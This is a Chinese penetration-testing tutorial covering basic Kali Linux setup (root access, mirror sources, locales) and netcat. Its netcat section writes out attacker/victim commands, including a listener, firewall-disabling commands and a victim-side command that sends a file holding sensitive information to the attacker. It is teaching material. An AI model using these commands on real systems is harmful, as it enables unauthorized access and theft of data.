免责声明:内容仅供学习参考,请合法利用知识,禁止进行违法犯罪活动!
内容参考于: 易锦网校会员专享课
上一个内容:12.WEB渗透测试-Linux系统管理、安全加固(下)-CSDN博客
kali由 Offensive Security 开发并重写 BackTrack,Kali Linux 发行版在我们用于黑客目的的最佳操作系统列表中名列前茅。这个基于 Debian 的操作系统附带了 600 多个预装的笔测试工具,使您的安全工具箱更加丰富。这些通用工具会定期更新,并适用于 ARM 和 VMware 等不同平台。对于司法鉴定工作,此顶级黑客操作系统具有实时启动功能,该功能为漏洞检测提供了理想的环境。
官方网站:Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution
Kali Linux是基于Debian的Linux发行版,Kali Linux预装了许多渗透测试软件,包括nmap 、Wireshark 、John the Ripper,以及Aircrack-ng 超过300个渗透测试工具。安全软件分为:信息收集、脆弱性分析、开发工具、无线攻击、取证工具、Web应用程序、压力测试、嗅探和欺骗、密码攻击、维护访问权限、硬件攻击、逆向工程、硬件攻击。
1.kali的优化
kali配置参考文档:kali Linux的设置和优化(双系统)_kailyouhua-CSDN博客
kali设置中文参考:kali linux设置中文方法 汉化教程-阿里云开发者社区
打开系统是英文界面,打开命令行
kali切换root用户:
sudo su
更改镜像源:
/etc/apt/sources.list 输入vi /etc/apt/sources.list进入编辑界面后输入国内镜像地址,并用#把原地址标注掉
中科大:deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src Index of /kali/ kali-rolling main non-free contrib
阿里云: deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
清华大学:deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
更新软件数据库:
sudo apt-get update
更新软件:
sudo apt-get upgrade
更新过程中一直选择yes
出现{ok}需要点击Tab键选中后才能按回车,不然会没有反应
更新完成显示界面
设置语言包:
sudo dpkg-reconfigure locales
注意:只选择一种语言要是不小心多选上了,可以按空格取消,选中*号的语言后摁tab后回车
修改缩放比例:hidp
2.netcat简介与使用
NC(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大。Nc主要功能,Nc可以在两台设备上面相互交互,即侦听模式/传
快速查看ip指令:
ip a
攻击者: nc -lnvp 8888
受害者: nc 攻击者ip 攻击者开放的端口号
效果演示:
文章来源地址https://www.toymoban.com/news/detail-839560.html
断开连接:
ctrl+c
注意:两台机器不在同一个局域网内通信需要使用反弹shell 两台机器在同一个局域网无法通信需要关闭防火墙
service firewalld status 查看防火墙状态 sudo systemctl stop firewalld 关闭防火墙 sudo systemctl start firewalld 开启防火墙 sudo systemctl disable firewalld 永久关闭
传输文件内容:受害者将自己本地的1.txt发送到攻击者的1.txt里面,包含敏感信息的文件我们直接发送回来 攻击者(服务端;接收):nc -lvp 端口号 > 1.txt加n更详细
受害者(客户端;发送):nc ip地址 端口号 < 1.txt
攻击者的文件名可以随便起,受害者这边必须得有这个文件才能发送
文章来源:https://www.toymoban.com/news/detail-839560.html
到了这里,关于13.WEB渗透测试--Kali Linux(一)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!